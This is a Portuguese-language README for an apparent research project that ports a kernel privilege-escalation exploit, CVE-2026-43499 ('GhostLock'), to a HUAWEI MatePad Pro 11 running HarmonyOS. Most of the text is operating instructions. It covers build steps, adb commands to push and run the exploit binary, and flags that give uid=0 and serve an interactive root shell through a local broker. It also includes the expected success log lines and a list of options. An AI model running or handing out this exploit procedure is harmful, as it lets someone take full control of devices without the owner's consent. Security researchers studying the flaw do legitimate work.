
Pesquisa sobre CVE-2026-43499 (GhostLock) no HUAWEI MatePad Pro 11 GOT-W29
Adaptação de escalada de privilégios CVE-2026-43499 para HUAWEI MatePad Pro 11 (GOT-W29, SM8250 / Snapdragon 870, HarmonyOS 4.x, kernel 4.19.157-perf+).
Estado atual:
u:r:shell:s0@gl_surandom/uuid independente, sem modificar boot_id e o nó ashmemu:r:kernel:s0 + full caps) ainda é TODOPrincípio completo, offsets, modos de falha e histórico em TECHNICAL.md.
cd exploit/ghostlock-source
make -j3
Artefato:
exploit/ghostlock-source/build/bin/ghostlock_exe
A máquina atual usa NDK sysroot + host clang para compilação cruzada, consulte exploit/ghostlock-source/TOOLCHAIN.md.
Inicialização no dispositivo real
adb push exploit/ghostlock-source/build/bin/ghostlock_exe /data/local/tmp/
adb shell chmod 755 /data/local/tmp/ghostlock_exe
Iniciar o broker da rota A:
adb shell /data/local/tmp/ghostlock_exe \
--su-server --simple-root --fake-lock-window \
--detach --probe-cycle --no-rt --attempts 1 \
--leak-timeout 60 --fsync \
--log-file /sdcard/ghostlock-su.log
Em caso de sucesso, o log contém:
simple-root: LEGAL ROOT uid=0 euid=0 ctx=u:r:shell:s0
su: uid=0 euid=0 serving on abstract @gl_su
Executar a partir de outro adb shell:
adb shell /data/local/tmp/ghostlock_exe --rsh STATUS
adb shell /data/local/tmp/ghostlock_exe --rsh id
adb shell /data/local/tmp/ghostlock_exe --rsh 'seu comando'
O shell root interativo deve usar -t:
adb shell -t /data/local/tmp/ghostlock_exe --rsh-shell
o broker aloca um terminal de controle real para o shell, portanto tty deve mostrar /dev/pts/N,
e Ctrl-C, as setas, jobs e a alternância entre primeiro e segundo plano funcionam normalmente.
--fake-lock-window e --detach são parâmetros críticos para a execução segura no dispositivo real.--hold; não encerre diretamente com kill -9 o worker que já consumiu o waiter pendente.--attempts 1.--verify-write, --verify-read, --verify-all são autotestes da primitiva de escrita em boot_id,
corrompem os 8 bytes altos do boot_id e só devem ser executados em QEMU ou quando o risco for explicitamente aceito.--escalate no lugar da rota A; ele é reservado para pesquisa da rota B e apresenta risco no ciclo de vida de cred.cd tools/qemu-test
GLMODE="--simple-root --detach" GDB=0 ./build_and_run.sh
./read_log.py --wait 240 --until 'simple-root: LEGAL ROOT|simple-root: failed'
Detalhes do QEMU em tools/qemu-test/README.md.
Objetivo: obter u:r:kernel:s0 e capability completa.
Pendências:
--simple-root escalada de privilégios da rota A
--su-server inicia o broker root
--rsh CMD executa um único comando
--rsh-shell shell interativo PTY completo
--fake-lock-window usa fake lock privado na pilha (recomendado no dispositivo real)
--detach mantém vivo permanentemente o worker que consumiu o waiter
--probe-cycle forma atual de disparo de EDEADLK estável no kernel
--no-rt evita que waiters RT causem starvation de CFS
--attempts 1 não repete tentativas após falha no dispositivo real
--log-file PATH log persistente
--fsync grava o final-result no disco
--help lista todos os parâmetros de autoteste e pesquisa.